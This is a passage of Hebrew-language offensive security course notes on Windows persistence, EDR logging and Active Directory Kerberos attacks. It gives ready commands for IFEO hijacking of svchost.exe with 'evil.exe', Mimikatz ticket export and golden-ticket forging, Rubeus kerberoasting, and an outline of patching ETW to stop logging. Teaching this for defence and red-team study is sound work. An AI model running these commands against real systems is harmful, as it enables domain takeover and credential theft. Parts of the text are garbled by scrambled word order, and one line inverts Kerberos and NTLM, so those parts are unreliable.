Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

# מחק subscription:
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Remove-WmiO
Get-WmiObject -Namespace root\subscription -Class __EventConsumer | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Remove-WmiObject
```

:Image File Execution Options — IFEO Hijacking

```
# IFEO לכל debugger מאפשר לרשום executable:
# כש-svchost.exe עולה → debugger שלנו רץ לפניו
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /v Debugger /t evil.exe
# ← כל פעם ש-svchost.exe יופעל – evil.exe ירוץ!

# מחיקה:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe"
```

:DLL Side-Loading

```
# מצא executables שטוענים DLL מנתיב שניתן לכתיבה:
# כלי: Robber, DLLSpy
# ← הכנס DLL עם השם הנכון לתיקייה → נטען אוטומטית
```

הגנות מתקדמות — מה עוד עומד בפנינו

Windows Defender Credential Guard

Credential Guard ב-Windows 10 Enterprise + מבודד את LSASS ב-Virtual Machine נפרדת (Hyper-V). גם אם פרצת ל-LSASS — אתה ב-VM ריק!

```
# בדוק:
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
Select-Object -ExpandProperty SecurityServicesRunning
# 2 = Credential Guard פעיל
```

השלכה: מימיקץ לא יכול לשאוב plaintext passwords כשCredential Guard פעיל. NTLM Hashes עדיין נגישות (Pass-the-Hash עובד), אבל Kerberos tickets — ממש בתוך ה-VM המבודד.

ETW — Event Tracing for Windows

ETW הוא תשתית logging בקרנל של Windows. כמעט כל מה שקורה — process creation, network connections, file access, registry changes — מדווח דרך ETW.

כולם — CrowdStrike, SentinelOne, Defender ATP כמו EDRs (Endpoint Detection and Response)
קוראים ETW כדי לזהות התקפות.

```
# ראה ETW providers
logman query providers | Select-String "Microsoft-Windows-Security"
# Microsoft-Windows-Security-Auditing ← כל security events
# Microsoft-Windows-PowerShell ← PowerShell logging
# Microsoft-Antimalware-Scan-Interface ← AMSI events
```

ETW Bypass: לפרוק את ה-ETW provider של PowerShell = logging פוסק. אחת מהטכניקות:

```
// Patch ETW in current process (memory patch):
// [DllImport("ntdll.dll")]
// public static extern int EtwEventWrite(...);
// → Patch EtwEventWrite to return immediately
```

Sysmon — לוגים מתקדמים

Sysmon (System Monitor, Sysinternals) הוא driver שמוסיף עשרות Event IDs מפורטים:

מה מוקלט	Event ID
Process Creation (כולל !command line)	1
Network Connection	3
Image Load (DLL Loaded)	7
!CreateRemoteThread ← DLL Injection	8
Process Access (OpenProcess)	10
FileCreate	11
Registry Value Set	13
DNS Query	22

```
# ראה event 1 (process creation) אחרונות:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object Id -eq 1 | Select-Object -First 10 |
Select-Object TimeCreated, Message
```

ל-Red Teaming: אם Sysmon קיים ו-SIEM קורא אותו — כל פעולה שלנו מוקלטת. זה מה ש-Endpoint Detection מסתמכת עליו.

Windows בסיס — Active Directory

Active Directory (AD) הוא שירות ה-Directory של Microsoft — ניהול מרכזי של כל משתמשים, מחשבים, ו-policies בארגון.

מי שולט ב-AD שולט על הארגון כולו.

Domain Controller (DC)

Domain Controller הוא שרת שמריץ AD. הוא:

- מאמת כניסה של כל משתמש בארגון
- מחיל Group Policies (הגדרות) על כל המחשבים
- מנהל Kerberos tickets (מנגנון ה-authentication המרכזי)

```
# מצא DC:
nltest /dclist:CORP
nslookup -type=SRV _ldap._tcp.CORP

# מידע על Domain:
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
```

Kerberos — מנגנון Authentication של AD

בניגוד ל-Kerberos, NTLM משתמש ב-"tickets":

```

1. משתמש → DC: "אני alice, תן לי TGT"
2. DC: "הפספורט – TGT (Ticket Granting Ticket) בודק סיסמה, נותן: DC"
3. משתמש → DC: "יש לי TGT, תן לי ticket לגשת ל-FileServer"
4. DC: Service Ticket נותן
5. משתמש → FileServer: "הנה Service Ticket"
6. FileServer: בודק ומאשר

```

מתקפות Kerberos:

Pass-the-Ticket: גנוב Kerberos ticket (TGT או Service Ticket) והשתמש בו:

```

# Mimikatz:
sekurlsa::tickets /export # tickets ייצא כל
kerberos::ptt ticket.kirbi # "ticket-השתמש" ב"

```

Golden Ticket: גנוב את KRBtgt password hash (של ה-Kerberos service עצמו) → יצור TGTs מזויפים לכל משתמש, לכל זמן. ה"מפתח הזהב" לממלכה.

```

# Mimikatz:
lsadump::lsa /patch # KRBtgt hash שלוף
kerberos::golden /user:Administrator /domain:CORP /sid:S-1-5-... /krbtgt:HASH /ticket:gold

```

Kerberoasting: בקש Service Ticket לכל SPN (Service Principal Name) → נסה לפצח את Hash הסיסמה של ה-service account:

```

# PowerView:
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname

# Rubeus:
.\Rubeus.exe kerberoast

# → מקבל hashes לcracking עם hashcat

```

סיכום — מה חדש למדנו

— **Boot:** UEFI → GRUB → Kernel → initramfs → systemd. Secure Boot
UEFI rootkits עוקפים הכל.

.container escape-ל מפתח = **IPC:** Pipes, shared memory, Unix sockets. `/var/run/docker.sock`

Containers: רק Privileged container = namespaces + cgroups. כמעט לא בידוד. escape דרך
docker.sock, CAP_SYS_ADMIN, כתיבה ל-`proc/`.

credentials. מטרה לשאיבת **Windows Auth:** SAM + NTLM → Pass-the-Hash. LSASS
Credential Guard מקשה.

Access Tokens: כל תהליך = UAC. SYSTEM. Token. `SelImpersonatePrivilege` = Potato attacks →
ניתן לעקיפה.

Code Injection: DLL Injection, Process Hollowing, DLL Hijacking (Windows). `LD_PRELOAD`
hooking (Linux). לשאיבת credentials. `/proc/[pid]/mem`

ADS: קבצים "נסתרים" ב-NTFS — נראים ריקים אבל מכילים קוד.

Kernel Modules: רצים ב-Rootkits. Kernel Space. מסתירים קבצים/תהליכים על ידי hooking של
syscalls.

Persistence מתקדמת: `LD_PRELOAD`, PAM modules, גלובלי (לינוקס). IFEO, WMI subscriptions, hijacking (Windows)

AD בסיס: Golden Ticket = Kerberos tickets. שליטה מוחלטת. Kerberoasting = פצח hashes של
service accounts.
